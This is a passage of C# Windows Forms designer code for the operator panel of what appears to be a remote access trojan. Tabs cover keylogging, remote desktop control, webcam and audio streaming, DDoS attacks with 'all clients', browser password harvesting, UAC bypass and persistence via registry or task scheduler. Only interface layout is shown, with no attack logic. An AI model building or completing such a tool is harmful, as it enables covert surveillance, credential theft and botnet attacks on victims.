22); this.tabPage7.Name = "tabPage7"; this.tabPage7.Size = new System.Drawing.Size(901, 550); this.tabPage7.TabIndex = 6; this.tabPage7.Text = "Keylogger"; this.tabPage7.UseVisualStyleBackColor = true; // // button19 // this.button19.Location = new System.Drawing.Point(251, 464); this.button19.Name = "button19"; this.button19.Size = new System.Drawing.Size(75, 23); this.button19.TabIndex = 4; this.button19.Text = "Clear Buffer"; this.button19.UseVisualStyleBackColor = true; this.button19.Click += new System.EventHandler(this.button19_Click); // // button18 // this.button18.Location = new System.Drawing.Point(170, 464); this.button18.Name = "button18"; this.button18.Size = new System.Drawing.Size(75, 23); this.button18.TabIndex = 3; this.button18.Text = "Retrive"; this.button18.UseVisualStyleBackColor = true; this.button18.Click += new System.EventHandler(this.button18_Click); // // button17 // this.button17.Location = new System.Drawing.Point(89, 464); this.button17.Name = "button17"; this.button17.Size = new System.Drawing.Size(75, 23); this.button17.TabIndex = 2; this.button17.Text = "Stop"; this.button17.UseVisualStyleBackColor = true; this.button17.Click += new System.EventHandler(this.button17_Click); // // button16 // this.button16.Location = new System.Drawing.Point(8, 464); this.button16.Name = "button16"; this.button16.Size = new System.Drawing.Size(75, 23); this.button16.TabIndex = 1; this.button16.Text = "Start"; this.button16.UseVisualStyleBackColor = true; this.button16.Click += new System.EventHandler(this.button16_Click); // // richTextBox3 // this.richTextBox3.Location = new System.Drawing.Point(8, 3); this.richTextBox3.Name = "richTextBox3"; this.richTextBox3.Size = new System.Drawing.Size(885, 455); this.richTextBox3.TabIndex = 0; this.richTextBox3.Text = ""; // // tabPage8 // this.tabPage8.Controls.Add(this.lblQualityShow); this.tabPage8.Controls.Add(this.lblChooseScreen); this.tabPage8.Controls.Add(this.cmboChooseScreen); this.tabPage8.Controls.Add(this.btnCountScreens); this.tabPage8.Controls.Add(this.btnStartTaskManager); this.tabPage8.Controls.Add(this.txtBControlKeyboard); this.tabPage8.Controls.Add(this.label34); this.tabPage8.Controls.Add(this.trackBar1); this.tabPage8.Controls.Add(this.btnFullScreenMode); this.tabPage8.Controls.Add(this.checkBoxrKeyboard); this.tabPage8.Controls.Add(this.checkBoxrMouse); this.tabPage8.Controls.Add(this.button22); this.tabPage8.Controls.Add(this.button21); this.tabPage8.Controls.Add(this.pictureBox1); this.tabPage8.Location = new System.Drawing.Point(4, 22); this.tabPage8.Name = "tabPage8"; this.tabPage8.Size = new System.Drawing.Size(901, 550); this.tabPage8.TabIndex = 7; this.tabPage8.Text = "Remote Desktop"; this.tabPage8.UseVisualStyleBackColor = true; // // lblQualityShow // this.lblQualityShow.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.lblQualityShow.AutoSize = true; this.lblQualityShow.BackColor = System.Drawing.Color.Yellow; this.lblQualityShow.Location = new System.Drawing.Point(797, 527); this.lblQualityShow.Name = "lblQualityShow"; this.lblQualityShow.Size = new System.Drawing.Size(33, 13); this.lblQualityShow.TabIndex = 21; this.lblQualityShow.Text = "(best)"; // // lblChooseScreen // this.lblChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.lblChooseScreen.AutoSize = true; this.lblChooseScreen.Location = new System.Drawing.Point(546, 523); this.lblChooseScreen.Name = "lblChooseScreen"; this.lblChooseScreen.Size = new System.Drawing.Size(83, 13); this.lblChooseScreen.TabIndex = 20; this.lblChooseScreen.Text = "Choose Screen:"; // // cmboChooseScreen // this.cmboChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.cmboChooseScreen.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cmboChooseScreen.FormattingEnabled = true; this.cmboChooseScreen.Location = new System.Drawing.Point(631, 518); this.cmboChooseScreen.Name = "cmboChooseScreen"; this.cmboChooseScreen.Size = new System.Drawing.Size(75, 21); this.cmboChooseScreen.TabIndex = 19; // // btnCountScreens // this.btnCountScreens.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.btnCountScreens.Location = new System.Drawing.Point(549, 485); this.btnCountScreens.Name = "btnCountScreens"; this.btnCountScreens.Size = new System.Drawing.Size(157, 23); this.btnCountScreens.TabIndex = 18; this.btnCountScreens.Text = "Count Screens"; this.btnCountScreens.UseVisualStyleBackColor = true; this.btnCountScreens.Click += new System.EventHandler(this.btnCountScreens_Click); // // btnStartTaskManager // this.btnStartTaskManager.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.btnStartTaskManager.Enabled = false; this.btnStartTaskManager.Location = new System.Drawing.Point(395, 485); this.btnStartTaskManager.Name = "btnStartTaskManager"; this.btnStartTaskManager.Size = new System.Drawing.Size(146, 23); this.btnStartTaskManager.TabIndex = 17; this.btnStartTaskManager.Text = "Start Remote TaskManager"; this.btnStartTaskManager.UseVisualStyleBackColor = true; this.btnStartTaskManager.Click += new System.EventHandler(this.btnStartTaskManager_Click); // // txtBControlKeyboard // this.txtBControlKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.txtBControlKeyboard.BackColor = System.Drawing.SystemColors.Window; this.txtBControlKeyboard.BorderStyle = System.Windows.Forms.BorderStyle.None; this.txtBControlKeyboard.Cursor = System.Windows.Forms.Cursors.Arrow; this.txtBControlKeyboard.ForeColor = System.Drawing.SystemColors.Window; this.txtBControlKeyboard.Location = new System.Drawing.Point(181, 496); this.txtBControlKeyboard.Multiline = true; this.txtBControlKeyboard.Name = "txtBControlKeyboard"; this.txtBControlKeyboard.Size = new System.Drawing.Size(94, 20); this.txtBControlKeyboard.TabIndex = 16; this.txtBControlKeyboard.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBControlKeyboard_KeyDown); // // label34 // this.label34.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label34.AutoSize = true; this.label34.Location = new System.Drawing.Point(756, 482); this.label34.Name = "label34"; this.label34.Size = new System.Drawing.Size(110, 13); this.label34.TabIndex = 15; this.label34.Text = "Screen Refresh Rate:"; // // trackBar1 // this.trackBar1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.trackBar1.BackColor = System.Drawing.Color.Yellow; this.trackBar1.Location = new System.Drawing.Point(727, 498); this.trackBar1.Maximum = 100; this.trackBar1.Minimum = 1; this.trackBar1.Name = "trackBar1"; this.trackBar1.Size = new System.Drawing.Size(166, 45); this.trackBar1.TabIndex = 14; this.trackBar1.Value = 75; this.trackBar1.Scroll += new System.EventHandler(this.trackBar1_Scroll); // // btnFullScreenMode // this.btnFullScreenMode.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.btnFullScreenMode.Enabled = false; this.btnFullScreenMode.Location = new System.Drawing.Point(395, 516); this.btnFullScreenMode.Name = "btnFullScreenMode"; this.btnFullScreenMode.Size = new System.Drawing.Size(146, 23); this.btnFullScreenMode.TabIndex = 5; this.btnFullScreenMode.Text = "Fullscreen Mode"; this.btnFullScreenMode.UseVisualStyleBackColor = true; this.btnFullScreenMode.Click += new System.EventHandler(this.btnFullRemoteScreen_Click); // // checkBoxrKeyboard // this.checkBoxrKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.checkBoxrKeyboard.AutoSize = true; this.checkBoxrKeyboard.Location = new System.Drawing.Point(282, 520); this.checkBoxrKeyboard.Name = "checkBoxrKeyboard"; this.checkBoxrKeyboard.Size = new System.Drawing.Size(107, 17); this.checkBoxrKeyboard.TabIndex = 4; this.checkBoxrKeyboard.Text = "Control Keyboard"; this.checkBoxrKeyboard.UseVisualStyleBackColor = true; this.checkBoxrKeyboard.CheckedChanged += new System.EventHandler(this.checkBoxrKeyboard_CheckedChanged); // // checkBoxrMouse // this.checkBoxrMouse.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.checkBoxrMouse.AutoSize = true; this.checkBoxrMouse.Location = new System.Drawing.Point(182, 520); this.checkBoxrMouse.Name = "checkBoxrMouse"; this.checkBoxrMouse.Size = new System.Drawing.Size(94, 17); this.checkBoxrMouse.TabIndex = 3; this.checkBoxrMouse.Text = "Control Mouse"; this.checkBoxrMouse.UseVisualStyleBackColor = true; this.checkBoxrMouse.CheckedChanged += new System.EventHandler(this.checkBoxrMouse_CheckedChanged); // // button22 // this.button22.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.button22.Location = new System.Drawing.Point(87, 516); this.button22.Name = "button22"; this.button22.Size = new System.Drawing.Size(75, 23); this.button22.TabIndex = 2; this.button22.Text = "Stop"; this.button22.UseVisualStyleBackColor = true; this.button22.Click += new System.EventHandler(this.btnStopRemoteScreen_Click); // // button21 // this.button21.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.button21.Location = new System.Drawing.Point(6, 516); this.button21.Name = "button21"; this.button21.Size = new System.Drawing.Size(75, 23); this.button21.TabIndex = 1; this.button21.Text = "Start"; this.button21.UseVisualStyleBackColor = true; this.button21.Click += new System.EventHandler(this.btnStartRemoteScreen_Click); // // pictureBox1 // this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.pictureBox1.Location = new System.Drawing.Point(8, 3); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(890, 476); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.pictureBox1.Tag = "rdesktop"; this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click); this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown); this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp); // // tabPage9 // this.tabPage9.Controls.Add(this.button25); this.tabPage9.Controls.Add(this.listView4); this.tabPage9.Controls.Add(this.button24); this.tabPage9.Location = new System.Drawing.Point(4, 22); this.tabPage9.Name = "tabPage9"; this.tabPage9.Size = new System.Drawing.Size(901, 550); this.tabPage9.TabIndex = 8; this.tabPage9.Text = "Audio"; this.tabPage9.UseVisualStyleBackColor = true; // // button25 // this.button25.Location = new System.Drawing.Point(107, 466); this.button25.Name = "button25"; this.button25.Size = new System.Drawing.Size(105, 23); this.button25.TabIndex = 2; this.button25.Text = "Start Stream"; this.button25.UseVisualStyleBackColor = true; this.button25.Click += new System.EventHandler(this.button25_Click); // // listView4 // this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader16, this.columnHeader17}); this.listView4.FullRowSelect = true; this.listView4.Location = new System.Drawing.Point(8, 15); this.listView4.MultiSelect = false; this.listView4.Name = "listView4"; this.listView4.Size = new System.Drawing.Size(890, 445); this.listView4.TabIndex = 1; this.listView4.UseCompatibleStateImageBehavior = false; this.listView4.View = System.Windows.Forms.View.Details; // // columnHeader16 // this.columnHeader16.Text = "Product Name"; this.columnHeader16.Width = 376; // // columnHeader17 // this.columnHeader17.Text = "Channel"; this.columnHeader17.Width = 83; // // button24 // this.button24.Location = new System.Drawing.Point(8, 466); this.button24.Name = "button24"; this.button24.Size = new System.Drawing.Size(93, 23); this.button24.TabIndex = 0; this.button24.Text = "List Devices"; this.button24.UseVisualStyleBackColor = true; this.button24.Click += new System.EventHandler(this.button24_Click); // // tabPage10 // this.tabPage10.Controls.Add(this.button27); this.tabPage10.Controls.Add(this.button26); this.tabPage10.Controls.Add(this.listView5); this.tabPage10.Controls.Add(this.pictureBox2); this.tabPage10.Location = new System.Drawing.Point(4, 22); this.tabPage10.Name = "tabPage10"; this.tabPage10.Size = new System.Drawing.Size(901, 550); this.tabPage10.TabIndex = 9; this.tabPage10.Text = "WebCam"; this.tabPage10.UseVisualStyleBackColor = true; // // button27 // this.button27.Location = new System.Drawing.Point(596, 226); this.button27.Name = "button27"; this.button27.Size = new System.Drawing.Size(297, 23); this.button27.TabIndex = 3; this.button27.Text = "Start Stream"; this.button27.UseVisualStyleBackColor = true; this.button27.Click += new System.EventHandler(this.button27_Click); // // button26 // this.button26.Location = new System.Drawing.Point(596, 197); this.button26.Name = "button26"; this.button26.Size = new System.Drawing.Size(297, 23); this.button26.TabIndex = 2; this.button26.Text = "List Video Devices"; this.button26.UseVisualStyleBackColor = true; this.button26.Click += new System.EventHandler(this.button26_Click); // // listView5 // this.listView5.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader18, this.columnHeader19}); this.listView5.FullRowSelect = true; this.listView5.Location = new System.Drawing.Point(596, 3); this.listView5.MultiSelect = false; this.listView5.Name = "listView5"; this.listView5.Size = new System.Drawing.Size(302, 188); this.listView5.TabIndex = 1; this.listView5.UseCompatibleStateImageBehavior = false; this.listView5.View = System.Windows.Forms.View.Details; // // columnHeader18 // this.columnHeader18.Text = "ID"; // // columnHeader19 // this.columnHeader19.Text = "Device Name"; this.columnHeader19.Width = 233; // // pictureBox2 // this.pictureBox2.Location = new System.Drawing.Point(8, 3); this.pictureBox2.Name = "pictureBox2"; this.pictureBox2.Size = new System.Drawing.Size(582, 491); this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox2.TabIndex = 0; this.pictureBox2.TabStop = false; this.pictureBox2.Tag = "wcstream"; // // tabPage11 // this.tabPage11.Controls.Add(this.button30); this.tabPage11.Controls.Add(this.button29); this.tabPage11.Controls.Add(this.button28); this.tabPage11.Controls.Add(this.groupBox2); this.tabPage11.Controls.Add(this.groupBox1); this.tabPage11.Controls.Add(this.label18); this.tabPage11.Location = new System.Drawing.Point(4, 22); this.tabPage11.Name = "tabPage11"; this.tabPage11.Size = new System.Drawing.Size(901, 550); this.tabPage11.TabIndex = 10; this.tabPage11.Text = "DDoS"; this.tabPage11.UseVisualStyleBackColor = true; // // button30 // this.button30.Location = new System.Drawing.Point(602, 466); this.button30.Name = "button30"; this.button30.Size = new System.Drawing.Size(75, 23); this.button30.TabIndex = 7; this.button30.Text = "Stop Attack"; this.button30.UseVisualStyleBackColor = true; this.button30.Click += new System.EventHandler(this.button30_Click); // // button29 // this.button29.Location = new System.Drawing.Point(683, 466); this.button29.Name = "button29"; this.button29.Size = new System.Drawing.Size(97, 23); this.button29.TabIndex = 6; this.button29.Text = "Validate Target"; this.button29.UseVisualStyleBackColor = true; this.button29.Click += new System.EventHandler(this.button29_Click); // // button28 // this.button28.Location = new System.Drawing.Point(786, 466); this.button28.Name = "button28"; this.button28.Size = new System.Drawing.Size(75, 23); this.button28.TabIndex = 5; this.button28.Text = "Start Attack"; this.button28.UseVisualStyleBackColor = true; this.button28.Click += new System.EventHandler(this.button28_Click); // // groupBox2 // this.groupBox2.Controls.Add(this.numericUpDown4); this.groupBox2.Controls.Add(this.numericUpDown3); this.groupBox2.Controls.Add(this.checkBox3); this.groupBox2.Controls.Add(this.label25); this.groupBox2.Controls.Add(this.label26); this.groupBox2.Location = new System.Drawing.Point(488, 42); this.groupBox2.Name = "groupBox2"; this.groupBox2.Size = new System.Drawing.Size(373, 401); this.groupBox2.TabIndex = 4; this.groupBox2.TabStop = false; this.groupBox2.Text = "Attack"; // // numericUpDown4 // this.numericUpDown4.Location = new System.Drawing.Point(132, 97); this.numericUpDown4.Minimum = new decimal(new int[] { 1, 0, 0, 0}); this.numericUpDown4.Name = "numericUpDown4"; this.numericUpDown4.Size = new System.Drawing.Size(120, 20); this.numericUpDown4.TabIndex = 4; this.numericUpDown4.Value = new decimal(new int[] { 1, 0, 0, 0}); // // numericUpDown3 // this.numericUpDown3.Location = new System.Drawing.Point(132, 71); this.numericUpDown3.Minimum = new decimal(new int[] { 1, 0, 0, 0}); this.numericUpDown3.Name = "numericUpDown3"; this.numericUpDown3.Size = new System.Drawing.Size(120, 20); this.numericUpDown3.TabIndex = 3; this.numericUpDown3.Value = new decimal(new int[] { 1, 0, 0, 0}); // // checkBox3 // this.checkBox3.AutoSize = true; this.checkBox3.Location = new System.Drawing.Point(31, 129); this.checkBox3.Name = "checkBox3"; this.checkBox3.Size = new System.Drawing.Size(128, 17); this.checkBox3.TabIndex = 2; this.checkBox3.Text = "Attack with all clients!"; this.checkBox3.UseVisualStyleBackColor = true; // // label25 // this.label25.AutoSize = true; this.label25.Location = new System.Drawing.Point(28, 102); this.label25.Name = "label25"; this.label25.Size = new System.Drawing.Size(56, 13); this.label25.TabIndex = 1; this.label25.Text = "Delay (ms)"; // // label26 // this.label26.AutoSize = true; this.label26.Location = new System.Drawing.Point(28, 74); this.label26.Name = "label26"; this.label26.Size = new System.Drawing.Size(98, 13); this.label26.TabIndex = 0; this.label26.Text = "Number of Threads"; // // groupBox1 // this.groupBox1.Controls.Add(this.numericUpDown2); this.groupBox1.Controls.Add(this.comboBox5); this.groupBox1.Controls.Add(this.numericUpDown1); this.groupBox1.Controls.Add(this.textBox6); this.groupBox1.Controls.Add(this.label22); this.groupBox1.Controls.Add(this.label21); this.groupBox1.Controls.Add(this.label20); this.groupBox1.Controls.Add(this.label19); this.groupBox1.Location = new System.Drawing.Point(6, 42); this.groupBox1.Name = "groupBox1"; this.groupBox1.Size = new System.Drawing.Size(373, 401); this.groupBox1.TabIndex = 1; this.groupBox1.TabStop = false; this.groupBox1.Text = "Target"; // // numericUpDown2 // this.numericUpDown2.Location = new System.Drawing.Point(98, 156); this.numericUpDown2.Maximum = new decimal(new int[] { 65535, 0, 0, 0}); this.numericUpDown2.Minimum = new decimal(new int[] { 1, 0, 0, 0}); this.numericUpDown2.Name = "numericUpDown2"; this.numericUpDown2.Size = new System.Drawing.Size(120, 20); this.numericUpDown2.TabIndex = 7; this.numericUpDown2.Value = new decimal(new int[] { 1, 0, 0, 0}); // // comboBox5 // this.comboBox5.FormattingEnabled = true; this.comboBox5.Items.AddRange(new object[] { "TCP", "UDP", "ICMP ECHO (Ping)"}); this.comboBox5.Location = new System.Drawing.Point(83, 127); this.comboBox5.Name = "comboBox5"; this.comboBox5.Size = new System.Drawing.Size(135, 21); this.comboBox5.TabIndex = 6; // // numericUpDown1 // this.numericUpDown1.Location = new System.Drawing.Point(67, 97); this.numericUpDown1.Maximum = new decimal(new int[] { 65535, 0, 0, 0}); this.numericUpDown1.Minimum = new decimal(new int[] { 1, 0, 0, 0}); this.numericUpDown1.Name = "numericUpDown1"; this.numericUpDown1.Size = new System.Drawing.Size(151, 20); this.numericUpDown1.TabIndex = 5; this.numericUpDown1.Value = new decimal(new int[] { 1, 0, 0, 0}); // // textBox6 // this.textBox6.Location = new System.Drawing.Point(67, 71); this.textBox6.Name = "textBox6"; this.textBox6.Size = new System.Drawing.Size(151, 20); this.textBox6.TabIndex = 4; // // label22 // this.label22.AutoSize = true; this.label22.Location = new System.Drawing.Point(28, 158); this.label22.Name = "label22"; this.label22.Size = new System.Drawing.Size(64, 13); this.label22.TabIndex = 3; this.label22.Text = "PacketSize:"; // // label21 // this.label21.AutoSize = true; this.label21.Location = new System.Drawing.Point(28, 129); this.label21.Name = "label21"; this.label21.Size = new System.Drawing.Size(49, 13); this.label21.TabIndex = 2; this.label21.Text = "Protocol:"; // // label20 // this.label20.AutoSize = true; this.label20.Location = new System.Drawing.Point(28, 102); this.label20.Name = "label20"; this.label20.Size = new System.Drawing.Size(29, 13); this.label20.TabIndex = 1; this.label20.Text = "Port:"; // // label19 // this.label19.AutoSize = true; this.label19.Location = new System.Drawing.Point(28, 74); this.label19.Name = "label19"; this.label19.Size = new System.Drawing.Size(20, 13); this.label19.TabIndex = 0; this.label19.Text = "IP:"; // // label18 // this.label18.AutoSize = true; this.label18.Location = new System.Drawing.Point(3, 10); this.label18.Name = "label18"; this.label18.Size = new System.Drawing.Size(126, 13); this.label18.TabIndex = 0; this.label18.Text = "Status: Waiting for action"; // // tabPage12 // this.tabPage12.Controls.Add(this.button32); this.tabPage12.Controls.Add(this.button31); this.tabPage12.Controls.Add(this.label23); this.tabPage12.Controls.Add(this.listView6); this.tabPage12.Location = new System.Drawing.Point(4, 22); this.tabPage12.Name = "tabPage12"; this.tabPage12.Size = new System.Drawing.Size(901, 550); this.tabPage12.TabIndex = 11; this.tabPage12.Text = "Password Manager"; this.tabPage12.UseVisualStyleBackColor = true; // // button32 // this.button32.Location = new System.Drawing.Point(673, 468); this.button32.Name = "button32"; this.button32.Size = new System.Drawing.Size(107, 23); this.button32.TabIndex = 3; this.button32.Text = "Clear List"; this.button32.UseVisualStyleBackColor = true; this.button32.Click += new System.EventHandler(this.button32_Click); // // button31 // this.button31.Location = new System.Drawing.Point(786, 468); this.button31.Name = "button31"; this.button31.Size = new System.Drawing.Size(107, 23); this.button31.TabIndex = 2; this.button31.Text = "List Password"; this.button31.UseVisualStyleBackColor = true; this.button31.Click += new System.EventHandler(this.button31_Click); // // label23 // this.label23.AutoSize = true; this.label23.Location = new System.Drawing.Point(8, 14); this.label23.Name = "label23"; this.label23.Size = new System.Drawing.Size(68, 13); this.label23.TabIndex = 1; this.label23.Text = "Password list"; // // listView6 // this.listView6.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { this.columnHeader20, this.columnHeader21, this.columnHeader22}); this.listView6.FullRowSelect = true; listViewGroup1.Header = "Google Chrome"; listViewGroup1.Name = "listViewGroup1"; listViewGroup2.Header = "Internet Explorer"; listViewGroup2.Name = "listViewGroup2"; listViewGroup3.Header = "Firefox"; listViewGroup3.Name = "listViewGroup3"; this.listView6.Groups.AddRange(new System.Windows.Forms.ListViewGroup[] { listViewGroup1, listViewGroup2, listViewGroup3}); this.listView6.Location = new System.Drawing.Point(8, 43); this.listView6.Name = "listView6"; this.listView6.Size = new System.Drawing.Size(885, 419); this.listView6.TabIndex = 0; this.listView6.UseCompatibleStateImageBehavior = false; this.listView6.View = System.Windows.Forms.View.Details; // // columnHeader20 // this.columnHeader20.Text = "URL"; this.columnHeader20.Width = 454; // // columnHeader21 // this.columnHeader21.Text = "Username"; this.columnHeader21.Width = 210; // // columnHeader22 // this.columnHeader22.Text = "Password"; this.columnHeader22.Width = 208; // // tabPage13 // this.tabPage13.Controls.Add(this.label36); this.tabPage13.Controls.Add(this.progressBar1); this.tabPage13.Controls.Add(this.button23); this.tabPage13.Controls.Add(this.comboBox7); this.tabPage13.Controls.Add(this.label35); this.tabPage13.Controls.Add(this.button20); this.tabPage13.Controls.Add(this.button33); this.tabPage13.Controls.Add(this.label27); this.tabPage13.Location = new System.Drawing.Point(4, 22); this.tabPage13.Name = "tabPage13"; this.tabPage13.Size = new System.Drawing.Size(901, 550); this.tabPage13.TabIndex = 12; this.tabPage13.Text = "Persistence"; this.tabPage13.UseVisualStyleBackColor = true; // // label36 // this.label36.AutoSize = true; this.label36.Enabled = false; this.label36.Location = new System.Drawing.Point(212, 49); this.label36.Name = "label36"; this.label36.Size = new System.Drawing.Size(21, 13); this.label36.TabIndex = 8; this.label36.Text = "0%"; // // progressBar1 // this.progressBar1.Enabled = false; this.progressBar1.Location = new System.Drawing.Point(156, 68); this.progressBar1.Name = "progressBar1"; this.progressBar1.Size = new System.Drawing.Size(145, 23); this.progressBar1.TabIndex = 7; // // button23 // this.button23.Location = new System.Drawing.Point(212, 142); this.button23.Name = "button23"; this.button23.Size = new System.Drawing.Size(89, 23); this.button23.TabIndex = 6; this.button23.Text = "Start Probe"; this.button23.UseVisualStyleBackColor = true; this.button23.Click += new System.EventHandler(this.button23_Click); // // comboBox7 // this.comboBox7.FormattingEnabled = true; this.comboBox7.Items.AddRange(new object[] { "Startup Folder", "Registry", "Task Scheduler"}); this.comboBox7.Location = new System.Drawing.Point(20, 144); this.comboBox7.Name = "comboBox7"; this.comboBox7.Size = new System.Drawing.Size(186, 21); this.comboBox7.TabIndex = 5; // // label35 // this.label35.AutoSize = true; this.label35.Location = new System.Drawing.Point(8, 116); this.label35.Name = "label35"; this.label35.Size = new System.Drawing.Size(68, 13); this.label35.TabIndex = 4; this.label35.Text = "Start Probing"; // // button20 // this.button20.Enabled = false; this.button20.Location = new System.Drawing.Point(20, 68); this.button20.Name = "button20"; this.button20.Size = new System.Drawing.Size(114, 23); this.button20.TabIndex = 3; this.button20.Text = "Auto Load"; this.button20.UseVisualStyleBackColor = true; this.button20.Click += new System.EventHandler(this.button20_Click); // // button33 // this.button33.Location = new System.Drawing.Point(20, 39); this.button33.Name = "button33"; this.button33.Size = new System.Drawing.Size(114, 23); this.button33.TabIndex = 2; this.button33.Text = "Bypass UAC"; this.button33.UseVisualStyleBackColor = true; this.button33.Click += new System.EventHandler(this.button33_Click); // // label27 // this.label27.AutoSize = true; this.label27.Location = new System.Drawing.Point(8, 13); this.label27.Name = "label27"; this.label27.Size = new System.Drawing.Size(66, 13); this.label27.TabIndex = 0; this.label27.Text = "Bypass UAC"; // // tabPage14 // this.tabPage14.Controls.Add(this.button34); this.tabPage14.Controls.Add(this.label28); this.tabPage14.Location = new System.Drawing.Point(4, 22); this.tabPage14.Name = "tabPage14"; this.tabPage14.Size = new System.Drawing.Size(901, 550); this.tabPage14.TabIndex = 13; this.tabPage14.Text = "External Apps"; this.tabPage14.UseVisualStyleBackColor = true; // // button34 // this.button34.Location = new System.Drawing.Point(27, 39); this.button34.Name = "button34"; this.button34.Size = new System.Drawing.Size(158, 23); this.button34.TabIndex = 1; this.button34.Text = "Launch Remote Pipe"; this.button34.UseVisualStyleBackColor = true; this.button34.Click += new System.EventHandler(this.button34_Click); // // label28 // this.label28.AutoSize = true; this.label28.Location = new System.Drawing.Point(8, 12); this.label28.Name = "label28"; this.label28.Size = new System.Drawing.Size(67, 13); this.label28.TabIndex = 0; this.label28.Text = "Proxy Server"; // // tabPage15 // this.tabPage15.Controls.Add(this.button39); this.tabPage15.Controls.Add(this.button38); this.tabPage15.Controls.Add(this.button37); this.tabPage15.Controls.Add(this.button36); this.tabPage15.Controls.Add(this.button35); this.tabPage15.Controls.Add(this.comboBox6); this.tabPage15.Controls.Add(this.label33); this.tabPage15.Controls.Add(this.label32); this.tabPage15.Controls.Add(this.label31); this.tabPage15.Controls.Add(this.label30); this.tabPage15.Controls.Add(this.label29); this.tabPage15.Controls.Add(this.listBox1); this.tabPage15.Location = new System.Drawing.Point(4, 22); this.tabPage15.Name = "tabPage15"; this.tabPage15.Size = new System.Drawing.Size(901, 550); this.tabPage15.TabIndex = 14; this.tabPage15.Text = "Plugins"; this.tabPage15.UseVisualStyleBackColor = true; // // button39 // this.button39.Location = new System.Drawing.Point(632, 462); this.button39.Name = "button39"; this.button39.Size = new System.Drawing.Size(75, 23); this.button39.TabIndex = 11; this.button39.Text = "Stop Signal"; this.button39.UseVisualStyleBackColor = true; this.button39.Click += new System.EventHandler(this.button39_Click); // // button38 // this.button38.Location = new System.Drawing.Point(551, 462); this.button38.Name = "button38"; this.button38.Size = new System.Drawing.Size(75, 23); this.button38.TabIndex = 10; this.button38.Text = "Reload All"; this.button38.UseVisualStyleBackColor = true; this.button38.Click += new System.EventHandler(this.button38_Click); // // button37 // this.button37.Location = new System.Drawing.Point(470, 462); this.button37.Name = "button37"; this.button37.Size = new System.Drawing.Size(75, 23); this.button37.TabIndex = 9; this.button37.Text = "Execute"; this.button37.UseVisualStyleBackColor = true; this.button37.Click += new System.EventHandler(this.button37_Click); // // button36 // this.button36.Location = new System.Drawing.Point(389, 462); this.button36.Name = "button36"; this.button36.Size = new System.Drawing.Size(75, 23); this.button36.TabIndex = 8; this.button36.Text = "Remove"; this.button36.UseVisualStyleBackColor = true; this.button36.Click += new System.EventHandler(this.button36_Click); // // button35 // this.button35.Location = new System.Drawing.Point(308, 462); this.button35.Name = "button35"; this.button35.Size = new System.Drawing.Size(75, 23); this.button35.TabIndex = 7; this.button35.Text = "Add"; this.button35.UseVisualStyleBackColor = true; this.button35.Click += new System.EventHandler(this.button35_Click); // // comboBox6 // this.comboBox6.FormattingEnabled = true; this.comboBox6.Location = new System.Drawing.Point(364, 113); this.comboBox6.Name = "comboBox6"; this.comboBox6.Size = new System.Drawing.Size(121, 21); this.comboBox6.TabIndex = 6; // // label33 // this.label33.AutoSize = true; this.label33.Location = new System.Drawing.Point(293, 116); this.label33.Name = "label33"; this.label33.Size = new System.Drawing.Size(65, 13); this.label33.TabIndex = 5; this.label33.Text = "Permissions:"; // // label32 // this.label32.AutoSize = true; this.label32.Location = new System.Drawing.Point(293, 155); this.label32.Name = "label32"; this.label32.Size = new System.Drawing.Size(63, 13); this.label32.TabIndex = 4; this.label32.Text = "Description:"; // // label31 // this.label31.AutoSize = true; this.label31.Location = new System.Drawing.Point(293, 82); this.label31.Name = "label31"; this.label31.Size = new System.Drawing.Size(41, 13); this.label31.TabIndex = 3; this.label31.Text = "Author:"; // // label30 // 